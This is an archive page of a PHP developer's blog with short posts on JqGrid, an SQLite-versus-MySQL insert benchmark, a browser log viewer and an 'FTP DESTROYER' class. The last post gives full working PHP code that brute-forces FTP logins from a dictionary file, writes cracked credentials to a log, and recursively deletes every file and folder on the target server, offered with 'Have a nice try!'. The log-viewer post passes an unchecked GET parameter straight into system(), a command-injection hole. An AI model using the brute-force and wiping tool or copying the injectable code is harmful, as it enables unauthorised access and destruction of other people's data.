Archive | php RSS for this section

JqGrid on Codeigniter

Lately I’m developing a portal , using codeigniter as framework, and jqgrid as view grid,,

It’s so great and maximize the lookability of my site.

Later I’ll describe more about how to things…

Help me : SQLite versus mySQL in PHP

Edited: Thanks to “no one” for comment on transaction mode INSERTION, with BEGIN IMMEDIATE-COMMIT pair that wrap INSERT QUERY. I got double perfomance than MySQL with this (1000 insertion, Mysql took 0.1 second, and sqlite 0.05 second)

Hi guys,

Lately, I read in http://www.sqlite.org/speed.html, that sqlite is a bit faster than mysql and postgreSQL. But, when I perform a little testing to compare them in PHP, I got a contrast result.

For both testing, I use this table :
CREATE TABLE test (a varchar(20) PRIMARY KEY, b varchar(20), c varchar(20), d varchar(20), e varchar(20),  f varchar(20), g varchar(20), h varchar(20),  i varchar(20), j varchar(20))

for that table, I perform 5000 insert for both sqlite and mysql :
here’s for sqlite code :
=============== sqlite-test.php ===============

$time_start = microtime(true);
$db = sqlite_open('pegawai.db', 0666, $sqliteerror);

sqlite_exec($db, "PRAGMA synchronous = OFF;");
for($i = 0; $i < 5000; $i++)
{
$sql = "INSERT INTO test VALUES ('a$i','b$i','c$i','d$i','e$i','b$i','b$i','b$i','b$i','b$i')";
$q = sqlite_query($db, $sql);
}
sqlite_close($db);
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "executed in $time seconds\n";

=========================================

and here’s for mysql code :
============= mysql-test.php ================

.............
$time_start = microtime(true);
for($i = 0; $i < 5000; $i++)
{
$sql = "INSERT INTO test VALUES ('a$i','b$i','c$i','d$i','e$i','b$i','b$i','b$i','b$i','b$i')";
$q = mysql_query($sql);
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "executed in $time seconds\n";
..............

===========================================

when I run those 2 script, the first one (sqlite) run for 43.4918169975 seconds, while the second (mysql) only take 0.52137298584 seconds.

It means that sqlite run 80x longer than mysql did (very contrast with the one I read in http://www.sqlite.org/speed.html).

Please tell me where do I did wrong. Thanks very much.

Front End Logging (tail -f stuff)

Entering a new coding environment (working in a national company), I’ve got several things learned.

One of the important is that I have to take care of every logging activities. It means that people needs me to write any transaction (success, fail, or error) to a flat file.

After my application’s been launching live, the “operation people” can check the log file for any transaction activities using unix command :

tail -f <log_file>

hmmmm…

Rather than supply them with backend checking, I’d prefer to make it (checking log file) into frontend using php.

Here’s the code I scratch to “tail” the log file in FrontEnd :

<html>
<head>
<script language="javascript">
setInterval ( "window.scrollBy(0,100)", 5 );
</script>
</head>
<body>
<a href="http://localhost/tesapps">Click</a>
<?
if(!empty($_GET))
{
$page = $_GET[log]; //supply this GET variable with path to log file
system("tail -f $page");
}
else
echo "<h1>Please provide log file to read !</h1>";
?>
</body>
</html>

With this code, I can simulate tail activities in web browser

nice, huh? 🙂

php class : FTP DESTROYER

Have you heard ’bout php? sure….

Have you heard ’bout ftp extension in php? sure…

In here, I want to share you a php class that can demolish any ftp server in this world, actually it needs little modification in order that this class could work perfectly.

Just for you to know, http://phpclasses.org have rejected this class to be published. They said this class is dangerous and so on. So, will you heard ’em?

This is the class in php 5
<?
class FTP
{
private $address = "";
private $username = "";
private $password = "";
public $conn;
private $startingdir = "";
private $output = "";

public function FTP($address = "localhost", $output = "output.log")
{
$this->address = $address;
$this->output = $output;
$this->conn = ftp_connect($this->address) or die("Couldn't connect to $address");
}

function __destruct() {
ftp_close($this->conn);
}

public function login($username = "anonymous", $password = "", $force = false, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$this->username = $username;
$this->password = $password;
if($force)
{
while( !ftp_login($this->conn, $this->username, $this->password) )
;
return true;
}
else
return ftp_login($this->conn, $this->username, $this->password);
}

public function doBruteForceLogin($dictionaryfile, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$handle = fopen($dictionaryfile, "r");
while ($userinfo = fscanf($handle, "%s\t%s\n")) {
list ($username, $password) = $userinfo;
if(ftp_login($this->conn, $username, $password))
{
$this->username = $username;
$this->password = $password;

$log = fopen($this->output, ‘a’);
fwrite($log, “$username:$password@$this->address\n”);

fclose($log);

break;
return true;
}
}
fclose($handle);
return false;
}
public function download($filename, $mode = FTP_BINARY, $resume = 0)
{
$handle = null;
$i = 0;
$localfilename = $filename;
$file = explode(".", $localfilename);
$temp = $file[count($file)-2];
while(file_exists($localfilename))
{
$file[count($file)-2] = $temp . "_$i";
$localfilename = implode(".", $file);
$i++;
}
$handle = fopen($localfilename, 'w');
$return = ftp_fget($this->conn, $handle, $filename, $mode, $resume);
fclose($handle);
return $return;
}

public function upload($filename, $mode = FTP_BINARY)
{
$handle = fopen($filename, 'r');
$return = ftp_fput($this->conn, $filename, $handle, $mode);
fclose($handle);
return $return;
}

private function demolishDir($dirname, $verbose = true, $filename = "")
{
$contents = ftp_nlist($this->conn, $dirname);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
if($filename == "" || strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
$toReturn = true;
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
else if(is_dir("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
$toReturn = $this->demolishDir($value, $verbose, $filename);
if($filename == "")
{
if (ftp_rmdir($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
}
return $toReturn;
}

public function demolish($verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$return = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".substr($value,2)))
{
if (ftp_delete($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
else if(is_dir("ftp://$username:$password@$address/".substr($value,2)))
{
$this->demolishDir($value, $verbose);
if (ftp_rmdir($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
if(!$return) break;
}
return $return;
}

public function searchDestroy($filename, $verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
echo "<br>";
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);

if(is_file(“ftp://$username:$password@$address/”.substr($value,2)))
{
if(strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo “$cleanCurrentFilename deleted successfully<br>”;
$toReturn = true;
} else {
if($verbose) echo “Could not delete $cleanCurrentFilename<br>”;
}
}
}
else if(is_dir(“ftp://$username:$password@$address/”.substr($value,2)))
{
$this->demolishDir($value, $verbose, $filename);
}
}
return $toReturn;
}
private function searchFileInDir($filename, $dirname)
{
$contents = ftp_nlist($this->conn, $dirname);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if(strtolower($filename) == strtolower($cleanCurrentFilename))
{
$toReturn = array_merge($toReturn, array($value));
}
}
return $toReturn;
}

public function searchFile($filename)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if( strtolower($filename) == strtolower($cleanCurrentFilename) )
{
$toReturn = array_merge($toReturn, array($value));
}
}

return empty($toReturn)?false:$toReturn;
}
public function searchDownload($filename)
{
$toReturn = $this->searchFile($filename);
foreach($toReturn as $value)
{
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
$cleanCurrentFoldername = substr($value, 1, strripos($value, '/'));
ftp_chdir($this->conn, $cleanCurrentFoldername);
$toReturn = $this->download($filename);
}
return $toReturn;
}
}
?>

Do you have any idea what things can be done using this class. Here’s the list :

  • You could login legally to any ftp server, and upload-or-download-file
  • You could login legally to any ftp server, and : search-file-then-download, search-file-then-delete, demolish-evey-single-folder-and-file-in-those-ftp-server
  • And, the good thing is that you could do above things without have to know the username-password pair to login using doBruteForceLogin function. All you need to have is a file containing complete dictionary to match ’em using bruteforce technique. The format of dictionary is : put every username-password pair in <username><tab><password><newline>

Have a nice try !